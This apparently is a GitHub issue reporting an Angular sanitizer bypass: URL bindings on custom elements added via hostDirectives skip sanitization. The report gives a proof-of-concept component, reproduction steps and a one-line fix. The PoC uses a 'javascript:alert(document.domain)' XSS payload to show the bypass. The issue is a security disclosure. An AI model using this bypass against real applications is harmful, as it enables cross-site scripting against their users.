Title: fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057) · Issue #70739 · angular/angular · GitHub
Open Graph Title: fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057) · Issue #70739 · angular/angular
X Title: fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057) · Issue #70739 · angular/angular
Description: Which @angular/* package(s) are the source of the bug? compiler, core Is this a regression? Yes Description Summary This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in Angular 22.1.0. The original CVE addressed...
Open Graph Description: Which @angular/* package(s) are the source of the bug? compiler, core Is this a regression? Yes Description Summary This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in An...
X Description: Which @angular/* package(s) are the source of the bug? compiler, core Is this a regression? Yes Description Summary This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in An...
Opengraph URL: https://github.com/angular/angular/issues/70739
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057)","articleBody":"### Which @angular/* package(s) are the source of the bug?\n\ncompiler, core\n\n### Is this a regression?\n\nYes\n\n### Description\n\n## Summary\n\nThis is an **incomplete fix for CVE-2026-88057** (GHSA-hh8m-fm6v-7cvg), patched in Angular 22.1.0.\n\nThe original CVE addressed compile-time `SecurityContext` miscalculation for directive host bindings. However, the **runtime fallback path** in `ɵɵsanitizeUrlOrResourceUrl` was not fixed, leaving a silent sanitizer bypass available through the `hostDirectives` composition API.\n\n> Referred from Google VRP (issue filed with OSS VRP program).\n\n---\n\n## Root Cause\n\n**File:** `packages/core/src/sanitization/sanitization.ts` — line 263\n\n```ts\n// VULNERABLE (current)\nexport function ɵɵsanitizeUrlOrResourceUrl(unsafeUrl: any, tag: string, prop: string) {\n return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;\n}\n```\n\nWhen `getUrlSanitizer()` receives a custom element tag (e.g. `app-link`) not present in the DOM security schema:\n\n1. `getSecurityContext(\"app-link\", \"href\")` → `SecurityContext.NONE`\n2. `getUrlSanitizer()` hits `default` branch → returns `null`\n3. `null?.(unsafeUrl) ?? unsafeUrl` → **raw unsanitized URL returned**\n\nThis allows `javascript:` URLs to reach the DOM silently, with no warning and no `bypassSecurityTrust*` call required.\n\n---\n\n## Compiled Output Proof\n\nThe Angular compiler **intentionally emits** `ɵɵsanitizeUrlOrResourceUrl` for `hostDirectives` host bindings, proving sanitization was intended:\n\n```ts\n// Custom element via hostDirectives — emits bypassable sanitizer ❌\nɵɵattribute(\"href\", ctx.href, ɵɵsanitizeUrlOrResourceUrl);\n\n// Native \u003ca> element — emits safe sanitizer ✅\nɵɵattribute(\"href\", ctx.userInput, ɵɵsanitizeUrl);\n```\n\n---\n\n## Pre-Rendered HTML Proof (SSR/SSG)\n\n```html\n\u003c!-- Native \u003ca> — SANITIZED ✅ -->\n\u003ca id=\"safe-link\" href=\"unsafe:javascript:alert(document.domain)\">Click me (native a)\u003c/a>\n\n\u003c!-- Custom element via hostDirectives — BYPASSED ❌ -->\n\u003capp-link id=\"vuln-link\" href=\"javascript:alert(document.domain)\">Click me (custom element) - XSS!\u003c/app-link>\n```\n\nAngular correctly prefixes `unsafe:` on the native element. The custom element receives the **raw `javascript:` URL** with no sanitization.\n\n---\n\n## Fix\n\nOne-line change in `packages/core/src/sanitization/sanitization.ts`:\n\n```ts\n// BEFORE (vulnerable)\nreturn getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;\n\n// AFTER (fixed)\nreturn getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? ɵɵsanitizeUrl(unsafeUrl);\n```\n\nReplacing `?? unsafeUrl` with `?? ɵɵsanitizeUrl(unsafeUrl)` ensures that even when the runtime element is unknown or custom, minimum URL sanitization is always applied.\n\n---\n\n## Reproduction Steps\n\n**1. Create a new Angular project with SSR:**\n```bash\nnpx -y @angular/cli@latest new vuln-poc --routing=false --style=css --ssr=true --skip-tests --skip-git --defaults\ncd vuln-poc\n```\n\n**2. Replace `src/app/app.ts` with the PoC below.**\n\n**3. Build:**\n```bash\nnpx ng build --configuration=development\n```\n\n**4. Inspect pre-rendered HTML:**\n```powershell\n$html = Get-Content \"dist\\vuln-poc\\browser\\index.html\" -Raw\n[regex]::Matches($html, 'href=\"[^\"]*\"') | ForEach-Object { Write-Host $_.Value }\n```\n\nExpected output confirms bypass:\n\nhref=\"unsafe:javascript:alert(document.domain)\" ← SANITIZED (native \u003ca>)\nhref=\"javascript:alert(document.domain)\" ← BYPASSED (custom element)\n\n\n**5. Serve and click the vulnerable link to trigger XSS:**\n```bash\nnpx ng serve --port 4200\n# Open http://localhost:4200\n# Click \"Click me (custom element) - XSS!\"\n# alert(document.domain) executes\n```\n\n---\n\n## PoC Component (`src/app/app.ts`)\n\n```typescript\nimport { Component, Directive, HostBinding, HostListener, Input, PLATFORM_ID, inject } from '@angular/core';\nimport { isPlatformBrowser } from '@angular/common';\n\n@Directive({\n selector: '[appLink]',\n standalone: true,\n})\nexport class LinkDirective {\n @HostBinding('attr.href') @Input() href!: string;\n}\n\n@Component({\n selector: 'app-link',\n standalone: true,\n template: `\u003cng-content>\u003c/ng-content>`,\n hostDirectives: [{ directive: LinkDirective, inputs: ['href'] }],\n})\nexport class AppLinkComponent {\n @Input() href!: string;\n\n @HostListener('click')\n onClick(): void {\n if (this.href) window.location.href = this.href;\n }\n}\n\n@Component({\n selector: 'app-root',\n standalone: true,\n imports: [AppLinkComponent],\n template: `\n \u003ca [attr.href]=\"userInput\" id=\"safe-link\">Click me (native a)\u003c/a>\n \u003capp-link [href]=\"userInput\" id=\"vuln-link\">Click me (custom element) - XSS!\u003c/app-link>\n `,\n})\nexport class App {\n userInput = 'javascript:alert(document.domain)';\n}\n```\n\n---\n\n## Environment\n\n| | |\n|---|---|\n| Angular | 22.1.6 (latest stable) |\n| Angular CLI | 22.1.8 |\n| @angular/core | 22.1.6 |\n| @angular/compiler | 22.1.6 |\n| Node.js | 22.23.2 |\n| OS | Windows 10 x64 |\n\n---\n\n## Why This Is Not Intended Behavior\n\n1. **CVE-2026-88057 regression** — Google accepted this exact vulnerability class as a security issue. The 22.1.0 fix was incomplete.\n2. **Compiler intent** — The compiler explicitly emits `ɵɵsanitizeUrlOrResourceUrl` for this binding. If no sanitization were intended, no sanitizer would be emitted.\n3. **Documented guarantee violated** — [angular.dev/best-practices/security](https://angular.dev/best-practices/security) states: *\"Angular automatically sanitizes values bound to URL-sensitive properties.\"* No exception for custom elements is documented.\n4. **No explicit opt-out used** — No `bypassSecurityTrust*` API is called anywhere. The bypass is silent and automatic.\n\n## Affected Files\n\n- `packages/core/src/sanitization/sanitization.ts` — `ɵɵsanitizeUrlOrResourceUrl` (line 263), `getUrlSanitizer` (line 237)\n- `packages/compiler/src/template/pipeline/src/ingest.ts` — `calcHostBindingSecurityContexts`\n- `packages/compiler/src/template/pipeline/src/phases/resolve_sanitizers.ts`\n\n### Please provide a link to a minimal reproduction of the bug\n\nSelf-contained - full PoC is in the Description above (app.ts + build steps). No external repo required. Reproducible with any fresh Angular 22.x SSR project. \n\n### Please provide the exception or error you saw\n\n```true\nNo exception is thrown — the bypass is silent. \n\nBuild warning (only for native \u003ca>, NOT for the vulnerable custom element):\nWARNING: sanitizing unsafe URL value javascript:alert(document.domain)\n(see https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss)\n\nDevTools console on click of vulnerable element:\n(no error — alert(document.domain) executes silently)\n\nPre-rendered DOM confirms bypass:\n\u003capp-link href=\"javascript:alert(document.domain)\"> ← unsanitized in DOM\n```\n\n### Please provide the environment you discovered this bug in (run `ng version`)\n\n```true\nAngular CLI: 22.1.8\nNode: 22.23.2\nPackage Manager: npm 10.9.8\nOS: win32 x64\n\nAngular: 22.1.6\n... common, compiler, compiler-cli, core, platform-browser, platform-server, router, ssr\n\nPackage Version\n-----------------------------------------\n@angular/build 22.1.8\n@angular/cli 22.1.8\n@angular/common 22.1.6\n@angular/compiler 22.1.6\n@angular/compiler-cli 22.1.6\n@angular/core 22.1.6\n@angular/platform-browser 22.1.6\n@angular/platform-server 22.1.6\n@angular/router 22.1.6\n@angular/ssr 22.1.8\nrxjs 7.8.2\ntypescript 6.0.3\n```\n\n### Anything else?\n\nThis report was originally filed with Google's OSS Vulnerability Reward Program.\nThe Google security team reviewed it (priority escalated to P2) and referred it\nto Angular maintainers to address upstream:\n\n> \"We encourage you to work directly with the maintainers of the angular/angular\n> repository by opening public issues and pull requests to address this vulnerability.\n> When you file the report with Angular, please mention that we referred you from the VRP.\"\n\nA one-line patch is proposed in the Description above. Happy to submit a PR if helpful.","author":{"url":"https://github.com/dynamo-pentester","@type":"Person","name":"dynamo-pentester"},"datePublished":"2026-09-15T20:44:27Z","url":"https://github.com/angular/angular/issues/70739"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:3d117167-80ed-886e-6e58-d9b53fe0f002 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | C8FE:2A1C6A:6E5928:9BF981:6AFDF259 |
| html-safe-nonce | a511edb5c86e1e8e471159ac338a09bda2569b49b700468476cc1cc490932bb7 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDOEZFOjJBMUM2QTo2RTU5Mjg6OUJGOTgxOjZBRkRGMjU5IiwidmlzaXRvcl9pZCI6IjYzNzk3OTUwOTUyOTc1ODU3NTMiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | d38d35f927d0e42694c534c39460ab73568fbb9cc83ea9285a13605bcaf2af00 |
| hovercard-subject-tag | issue:5467178486 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular/70739/issue_layout |
| twitter:image | https://opengraph.githubassets.com/5090ca12086a16c2ff3ac9e4fc374054ae1e2b48aada43b91fe801437581cbb8/angular/angular/issues/70739 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/5090ca12086a16c2ff3ac9e4fc374054ae1e2b48aada43b91fe801437581cbb8/angular/angular/issues/70739 |
| og:image:alt | Which @angular/* package(s) are the source of the bug? compiler, core Is this a regression? Yes Description Summary This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in An... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | dynamo-pentester |
| hostname | github.com |
| expected-hostname | github.com |
| None | dd812ec581ecac95855f5ec917ef9827506c39a9da1443f43ddb4179a46471eb |
| turbo-cache-control | no-preview |
| go-import | github.com/angular/angular git https://github.com/angular/angular.git |
| octolytics-dimension-user_id | 139426 |
| octolytics-dimension-user_login | angular |
| octolytics-dimension-repository_id | 24195339 |
| octolytics-dimension-repository_nwo | angular/angular |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 24195339 |
| octolytics-dimension-repository_network_root_nwo | angular/angular |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 32ac708bac264dafdc28e10ff49b4d137f0c34a7 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width